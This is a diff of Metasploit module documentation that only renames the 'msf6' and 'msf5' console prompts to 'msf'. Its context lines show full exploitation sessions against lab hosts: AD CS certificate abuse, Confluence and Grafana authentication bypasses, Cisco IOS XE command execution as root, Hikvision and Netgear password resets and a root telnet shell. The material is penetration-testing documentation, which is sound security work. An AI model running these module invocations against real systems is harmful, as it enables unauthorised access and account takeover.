-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 192.168.159.10

 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
@@ -223,7 +229,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [+] 192.168.159.10:445 - The requested certificate was issued.
 [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 #### Step 2
@@ -232,13 +238,13 @@ the target user. The `CERT_TEMPLATE` option is updated to one allowing authentic
 template.

 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx
+msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx
 PFX => /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF MSFLAB\\smcintyre
+msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF MSFLAB\\smcintyre
 ON_BEHALF_OF => MSFLAB\smcintyre
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
 CERT_TEMPLATE => User
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 192.168.159.10

 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
@@ -251,7 +257,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
 [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107153713_default_unknown_windows.ad.cs_275853.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 ### Issue A Certificate With The *Certificate Request Agent* EKU (AKA ESC3)
@@ -270,18 +276,18 @@ request another certificate on behalf of the target account.
 The first step is to issue a certificate using the vulnerable certificate template.

 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
+msf > use auxiliary/admin/dcerpc/icpr_cert
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
 RHOSTS => 192.168.159.10
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
 SMBUser => aliddle
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
 SMBPass => Password1!
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
 CA => msflab-DC-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Test
 CERT_TEMPLATE => ESC3-Test
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 192.168.159.10

 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
@@ -293,7 +299,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1106
 [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 #### Step 2
@@ -302,13 +308,13 @@ the target user. The `CERT_TEMPLATE` option is updated to one allowing authentic
 template.

 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx
+msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx
 PFX => /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF MSFLAB\\smcintyre
+msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF MSFLAB\\smcintyre
 ON_BEHALF_OF => MSFLAB\smcintyre
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
 CERT_TEMPLATE => User
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 192.168.159.10

 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
@@ -321,7 +327,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
 [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107154740_default_unknown_windows.ad.cs_567059.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 [KB5014754]: https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
@@ -63,13 +63,13 @@ its security ID (SID), which includes the relative ID (RID) as the last componen
 First, a new computer account is created and its details are logged to the database.

 ```
-msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.96
+msf auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.96
 RHOSTS => 192.168.159.96
-msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser aliddle
+msf auxiliary(admin/dcerpc/samr_account) > set SMBUser aliddle
 SMBUser => aliddle
-msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1
+msf auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1
 SMBPass => Password1
-msf6 auxiliary(admin/dcerpc/samr_account) > show options
+msf auxiliary(admin/dcerpc/samr_account) > show options

 Module options (auxiliary/admin/dcerpc/samr_account):

@@ -91,13 +91,13 @@ Auxiliary action:
   ADD_COMPUTER  Add a computer account


-msf6 auxiliary(admin/dcerpc/samr_account) > run
+msf auxiliary(admin/dcerpc/samr_account) > run
 [*] Running module against 192.168.159.96

 [*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB
 [+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/samr_account) > creds
+msf auxiliary(admin/dcerpc/samr_account) > creds
 Credentials
 ===========

@@ -105,5 +105,5 @@ host            origin          service        public             private
 ----            ------          -------        ------             -------                           -----   ------------  ----------
 192.168.159.96  192.168.159.96  445/tcp (smb)  DESKTOP-2X8F54QG$  MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY  MSFLAB  Password

-msf6 auxiliary(admin/dcerpc/samr_account) >
+msf auxiliary(admin/dcerpc/samr_account) >
 ```
@@ -35,14 +35,14 @@ E-mail to be used when creating a new user with admin privileges.
 ## Scenarios
 ### Tested on Confluence Server 8.0.0 with Linux target (Ubuntu 20.04)
 ```
-msf6 > use auxiliary/multi/http/atlassian_confluence_auth_bypass
-msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set RHOSTS <YOUR_TARGET>
+msf > use auxiliary/multi/http/atlassian_confluence_auth_bypass
+msf > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set RHOSTS <YOUR_TARGET>
 RHOSTS => <YOUR_TARGET>
-msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_USERNAME admin_1337
+msf > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_USERNAME admin_1337
 NEW_USERNAME => admin_1337
-msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_PASSWORD admin_1337
+msf > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_PASSWORD admin_1337
 NEW_PASSWORD => admin_1337
-msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > run
+msf > auxiliary(admin/http/atlassian_confluence_auth_bypass) > run
 [*] Running module against <YOUR_TARGET>

 [+] Admin user was created successfully. Credentials: admin_1337 - admin_1337
@@ -38,14 +38,14 @@ The desired username for setting SSH access
 #### Successful Scenario

 ```
-msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
+msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
 user => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
 pass => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
 rhosts => 192.168.110.209
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run

 [*] Running for 192.168.110.209...
 [*] 192.168.110.209 - Attempting to set SSH credentials.
@@ -55,7 +55,7 @@ msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
 [*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf5 auxiliary(linux/ssh/cve_2020_16137) > exit
+msf auxiliary(linux/ssh/cve_2020_16137) > exit
 user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
 test@192.168.110.209's password:

@@ -225,14 +225,14 @@ $>exit

 #### Unsuccessful Scenario
 ```
-msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
+msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
 user => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
 pass => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
 rhosts => 192.168.110.209
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run

 [*] Running for 192.168.110.209...
 [*] 192.168.110.209 - Attempting to set SSH credentials.
@@ -246,14 +246,14 @@ msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
 #### Successful Scenario

 ```
-msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
+msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
 user => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
 pass => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
 rhosts => 192.168.110.209
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run

 [*] Running for 192.168.110.209...
 [*] 192.168.110.209 - Attempting to set SSH credentials.
@@ -263,7 +263,7 @@ msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
 [*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf5 auxiliary(linux/ssh/cve_2020_16137) > exit
+msf auxiliary(linux/ssh/cve_2020_16137) > exit
 user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
 test@192.168.110.209's password:

@@ -433,14 +433,14 @@ $>exit

 #### Unsuccessful Scenario
 ```
-msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
+msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
 user => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
 pass => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
 rhosts => 192.168.110.209
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run

 [*] Running for 192.168.110.209...
 [*] 192.168.110.209 - Attempting to set SSH credentials.
@@ -97,14 +97,14 @@ modes are `user`, `privileged`, and `global`.

 ### IOS XE 16.12.03 (CSR1000v)
 ```
-msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57
+msf > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57
 RHOST => 192.168.86.57
-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set CMD "show version"
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set CMD "show version"
 CMD => show version
-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set MODE privileged
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set MODE privileged
 MODE => privileged
-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options

 Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):

@@ -121,7 +121,7 @@ Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):

 View the full module info with the info, or info -d command.

-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
 [*] Running module against 192.168.86.57


@@ -171,19 +171,19 @@ Processor board ID 9OVFUOGPESO
 Configuration register is 0x2102

 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
 [*] Running module against 192.168.86.57


 *15:24:05.110 UTC Fri Nov 3 2023
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > 
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > 
 ```

 ### IOS XE 17.06.05 (C8000v)

 ```
-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options 
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options 

 Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):

@@ -200,7 +200,7 @@ Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):

 View the full module info with the info, or info -d command.

-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
 [*] Running module against 192.168.86.108

 Cisco IOS XE Software, Version 17.06.05
@@ -253,10 +253,10 @@ Router operating mode: Autonomous
 Configuration register is 0x2102

 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
 [*] Running module against 192.168.86.108

 *17:36:50.722 UTC Mon Mar 3 2025
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > 
-```
+msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > 
+```
@@ -92,7 +92,7 @@ can be locked preventing deleting upon the first attempt, so the module will try
 ## Scenarios

 ```
-msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options
+msf auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options

 Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273):

@@ -115,11 +115,11 @@ Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273):

 View the full module info with the info, or info -d command.

-msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set rhosts 10.5.135.193
+msf auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set rhosts 10.5.135.193
 rhosts => 10.5.135.193
-msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set verbose true
+msf auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set verbose true
 verbose => true
-msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run
+msf auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run
 [*] Running module against 10.5.135.193

 [*] Created privilege 15 user 'rfojGrqA' with password 'ixnXyFlw'
@@ -129,5 +129,5 @@ uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t
 [*] Removing user 'rfojGrqA'
 [*] Auxiliary module execution completed

-msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > 
-```
+msf auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > 
+```
@@ -40,9 +40,9 @@ Running the module against Smart Software Manager (SSM) On-Prem v8-202206 should
 similar to the following:

 ```
-msf6 > use auxiliary/admin/http/cisco_ssm_onprem_account 
-msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > set RHOSTS 192.168.137.200
-msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > exploit 
+msf > use auxiliary/admin/http/cisco_ssm_onprem_account 
+msf auxiliary(admin/http/cisco_ssm_onprem_account) > set RHOSTS 192.168.137.200
+msf auxiliary(admin/http/cisco_ssm_onprem_account) > exploit 
 [*] Running module against 192.168.137.200

 [+] Server reachable.
@@ -51,7 +51,7 @@ Running the module against FileCatalyst Workflow v5.1.6 (Build 135) on either Wi
 similar to the following:

 ```
-msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > run
+msf auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > run
 [*] Running module against 192.168.137.195

 [*] Starting SQL injection workflow...
@@ -56,7 +56,7 @@ resource (gitlab)> set myemail my_email@example.com
 myemail => my_email@example.com
 resource (gitlab)> set verbose true
 verbose => true
-msf6 auxiliary(scanner/admin/gitlab_password_reset_account_takeover) > exploit
+msf auxiliary(scanner/admin/gitlab_password_reset_account_takeover) > exploit

 [*] Obtaining CSRF token
 [+] CSRF Token: URTwtcW7cTgXEoFoa0To9jTXCubxXpJwcCiLjXbrAIFeO5TJza9x-amxcWGmX2oC8SppWeTIIWUG19WCvW_2ig
@@ -22,8 +22,8 @@ The following list shows the vulnerable versions of Grafana when configured for
  Example run against Grafana 3.x with username admin:

 ```
-msf5 > use auxiliary/admin/http/grafana_auth_bypass 
-msf5 auxiliary(admin/http/grafana_auth_bypass) > show options 
+msf > use auxiliary/admin/http/grafana_auth_bypass 
+msf auxiliary(admin/http/grafana_auth_bypass) > show options 

 Module options (auxiliary/admin/http/grafana_auth_bypass):

@@ -38,11 +38,11 @@ Module options (auxiliary/admin/http/grafana_auth_bypass):
   USERNAME                    no        Valid username
   VERSION    5                yes       Grafana version: "2-4" or "5" (Accepted: 2-4, 5)

-msf5 auxiliary(admin/http/grafana_auth_bypass) > set RHOSTS 192.168.202.3
+msf auxiliary(admin/http/grafana_auth_bypass) > set RHOSTS 192.168.202.3
 RHOSTS => 192.168.202.3
-msf5 auxiliary(admin/http/grafana_auth_bypass) > set USERNAME Administrator
+msf auxiliary(admin/http/grafana_auth_bypass) > set USERNAME Administrator
 USERNAME => Administrator
-msf5 auxiliary(admin/http/grafana_auth_bypass) > run
+msf auxiliary(admin/http/grafana_auth_bypass) > run

 [*] Running for 192.168.202.3...
 [+] Encrypted remember cookie: 1bedc565c40b58307afa4672efd72d3c37f02684c2deb0ce0b55594cbce337fc90625356dc232e998f
@@ -59,18 +59,18 @@ This option allows you to store the user and password credentials in the Metaspl
 ### Hikvision DS-2CD2142FWD-IS Firmware Version V5.4.1 build 160525

 ```
-msf6 > use auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
-msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set RHOSTS 192.168.100.180
+msf > use auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
+msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set RHOSTS 192.168.100.180
 RHOSTS => 192.168.100.180
-msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set USERNAME admin
+msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set USERNAME admin
 USERNAME => admin
-msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set PASSWORD Pa$$W0rd
+msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set PASSWORD Pa$$W0rd
 PASSWORD => Pa$$W0rd
-msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set ID 1
+msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set ID 1
 ID => 1
-msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set STORE_CRED true
+msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set STORE_CRED true
 STORE_CRED => true
-msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > options
+msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > options

 Module options (auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921):

@@ -87,13 +87,13 @@ Module options (auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921):
   USERNAME    admin            yes       Username for password change
   VHOST                        no        HTTP server virtual host

-msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > check
+msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > check

 [*] Following users are available for password reset...
 [*] USERNAME:admin | ID:1 | ROLE:Administrator
 [*] USERNAME:admln | ID:2 | ROLE:Operator
 [+] 192.168.100.180:80 - The target is vulnerable.
-msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > run
+msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > run
 [*] Running module against 192.168.100.180

 [*] Following users are available for password reset...
@@ -104,7 +104,7 @@ msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > run
 [*] Please log in with your new password: Pa$$W0rd
 [*] Credentials for admin were added to the database...
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset) > creds -O 192.168.100.180
+msf auxiliary(admin/http/hikvision_unauth_pwd_reset) > creds -O 192.168.100.180
 Credentials
 ===========

@@ -112,5 +112,5 @@ host             origin           service        public  private   realm  privat
 ----             ------           -------        ------  -------   -----  ------------  ----------
 192.168.100.180  192.168.100.180  80/tcp (http)  admin   Pa$$W0rd         Password

-msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) 
+msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) 
 ```
@@ -25,7 +25,7 @@ Module defaults work very well, you should just need to set `RHOST` and the `FIL
 A successful exploit will look like this:

 ```
-msf5 auxiliary(admin/http/ibm_drm_file_download) > run
+msf auxiliary(admin/http/ibm_drm_file_download) > run

 [+] 10.9.8.213:8443 - Successfully "stickied" our session ID kmhleyPh
 [+] 10.9.8.213:8443 - We have obtained a new admin password 28010e88-6ffb-46e9-90d6-2ded732120d1
@@ -41,8 +41,8 @@ Running the module against Control iD iDSecure v4.7.43.0 should result in an out
 similar to the following:

 ```
-msf6 > use auxiliary/admin/http/idsecure_auth_bypass
-msf6 auxiliary(admin/http/idsecure_auth_bypass) > set RHOSTS 192.168.137.196
+msf > use auxiliary/admin/http/idsecure_auth_bypass
+msf auxiliary(admin/http/idsecure_auth_bypass) > set RHOSTS 192.168.137.196
 [*] Running module against 192.168.137.196

 [*] Running automatic check ("set AutoCheck false" to disable)
@@ -51,9 +51,9 @@ Running the module against Virtual Traffic Manager (vTM) 22.7R1 should result in
 similar to the following:

 ```
-msf6 > use auxiliary/admin/http/ivanti_vtm_admin 
-msf6 auxiliary(admin/http/ivanti_vtm_admin) > set RHOSTS 172.17.0.2
-msf6 auxiliary(admin/http/ivanti_vtm_admin) > exploit 
+msf > use auxiliary/admin/http/ivanti_vtm_admin 
+msf auxiliary(admin/http/ivanti_vtm_admin) > set RHOSTS 172.17.0.2
+msf auxiliary(admin/http/ivanti_vtm_admin) > exploit 
 [*] Running module against 172.17.0.2

 [*] Running automatic check ("set AutoCheck false" to disable)
@@ -54,8 +54,8 @@ This vulnerability was discovered and exploited by an independent security resea

 ### Netgear AC1600 aka R6260 with Firmware Version 1.1.0.40_1.0.1
 ```
-        msf6 > use auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
-        msf6 auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > show options
+        msf > use auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
+        msf auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > show options

        Module options (auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass):

@@ -68,13 +68,13 @@ This vulnerability was discovered and exploited by an independent security resea
        SSL      false            no        Negotiate SSL/TLS for outgoing connections
        VHOST                     no        HTTP server virtual host

-        msf6 auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > set RHOSTS 192.168.1.1
+        msf auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > set RHOSTS 192.168.1.1
        RHOSTS => 192.168.1.1
-        msf6 auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > check
+        msf auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > check

        [*] Target is a R6260 router running firmware version 1.1.0.40_1.0.1
        [*] 192.168.1.1:80 - The target appears to be vulnerable.
-        msf6 auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > exploit
+        msf auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > exploit
        [*] Running module against 192.168.1.1

        [*] Running automatic check ("set AutoCheck false" to disable)
@@ -92,7 +92,7 @@ This vulnerability was discovered and exploited by an independent security resea
        [*] Attempting to log in with admin:theRiverOfNope123!. You should get a new telnet session as the root user
        [*] Command shell session 1 opened (192.168.224.128:45717 -> 192.168.1.1:23) at 2021-09-23 16:38:53 -0500
        [*] Auxiliary module execution completed
-        msf6 auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > sessions -i 1
+        msf auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > sessions -i 1
        [*] Starting interaction with 1...


@@ -54,8 +54,8 @@ upnpd port on the target. Default 5000.
 ### Netgear R6700v3 firmware version V1.0.4.84_10.0.58

 ```
-    msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options
+    msf > use auxiliary/admin/http/netgear_r6700_pass_reset
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > show options
    
    Module options (auxiliary/admin/http/netgear_r6700_pass_reset):
    
@@ -67,13 +67,13 @@ upnpd port on the target. Default 5000.
       SSL      false            no        Negotiate SSL/TLS for outgoing connections
       VHOST                     no        HTTP server virtual host
    
